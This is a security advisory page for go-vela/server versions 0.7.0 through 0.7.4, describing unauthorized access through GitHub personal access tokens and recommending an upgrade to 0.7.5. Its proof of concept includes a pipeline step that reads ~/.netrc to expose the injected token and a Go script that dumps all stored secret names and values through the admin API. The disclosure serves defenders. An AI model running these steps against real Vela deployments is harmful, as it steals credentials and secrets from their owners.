An open API service providing security vulnerability metadata for many open source software ecosystems.

MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLThqM2YtbWhxOC1nbWg0

High EPSS: 0.00301% (0.52698 Percentile) EPSS:

Reject unauthorized access with GitHub PATs

Affected Packages Affected Versions Fixed Versions
go:github.com/go-vela/server
PURL: pkg:go/github.com%2Fgo-vela%2Fserver
>= 0.7.0, < 0.7.5 0.7.5
4 Dependent packages
6 Dependent repositories

Affected Version Ranges

All affected versions

v0.7.0, v0.7.0-rc1, v0.7.0-rc2, v0.7.0-rc3, v0.7.0-rc4, v0.7.0-rc5, v0.7.1, v0.7.2, v0.7.3, v0.7.4

All unaffected versions

v0.1.0, v0.1.1, v0.1.2, v0.1.3, v0.1.4, v0.1.5, v0.2.0, v0.3.0, v0.4.0, v0.4.1, v0.4.2, v0.4.3, v0.5.0, v0.5.1, v0.6.0, v0.6.1, v0.6.2, v0.7.5, v0.8.0, v0.8.1, v0.8.2, v0.8.3, v0.8.4, v0.9.0, v0.9.1, v0.9.2, v0.10.0, v0.10.1, v0.11.0, v0.11.1, v0.12.0, v0.12.1, v0.12.2, v0.13.0, v0.13.1, v0.14.0, v0.14.1, v0.14.2, v0.14.3, v0.15.0, v0.15.1, v0.16.0, v0.16.1, v0.16.2, v0.17.0, v0.18.0, v0.18.1, v0.18.2, v0.19.0, v0.19.1, v0.19.2, v0.20.0, v0.20.1, v0.20.2, v0.20.3, v0.21.0, v0.22.0, v0.22.1, v0.22.2, v0.23.0, v0.23.1, v0.23.2, v0.23.3, v0.23.4, v0.24.0, v0.24.1, v0.24.2, v0.25.0, v0.25.1, v0.25.2, v0.25.3, v0.26.0, v0.26.1, v0.26.2, v0.26.3, v0.26.4, v0.26.5, v0.27.0, v0.27.1, v0.27.2

Impact

What kind of vulnerability is it? Who is impacted?

The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Steps to reproduce

  1. Create Vela server

  2. Login to Vela UI

  3. Promote yourself to Vela administrator

    • UPDATE users SET admin = 't' WHERE name = <username>
  4. Activate repository within Vela

  5. Add .vela.yml to the repository with the following content

    version: "1"
    
    steps:
    - name: steal
      image: alpine
      commands:
        - cat ~/.netrc
    
  6. Look at build logs to find the following content

    $ cat ~/.netrc
    machine <GITHUB URL>
    login x-oauth-basic
    password <token>
    
  7. Copy the password to be utilized in some later step

  8. Add secret(s) to activated repo

  9. Copy the following script into main.go

    package main
    
    import (
        "fmt"
        "github.com/go-vela/sdk-go/vela"
        "os"
    )
    
    func main() {
        // create client to connect to vela
        client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil)
        if err != nil {
    	    panic(err)
        }
    
        // add PAT to request
        client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN"))
    
    
        secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{})
        if err != nil {
    	    panic(err)
        }
    
        for _, secret := range *secrets {
    	    fmt.Println(*secret.Name)
    	    fmt.Println(*secret.Value)
        }
    }
    
  10. Run the main.go with environment specific settings

    • VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go

The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.

Patches

Has the problem been patched? What versions should users upgrade to?

  • Upgrade to v0.7.5 or later

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

  • No known workarounds

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory

References: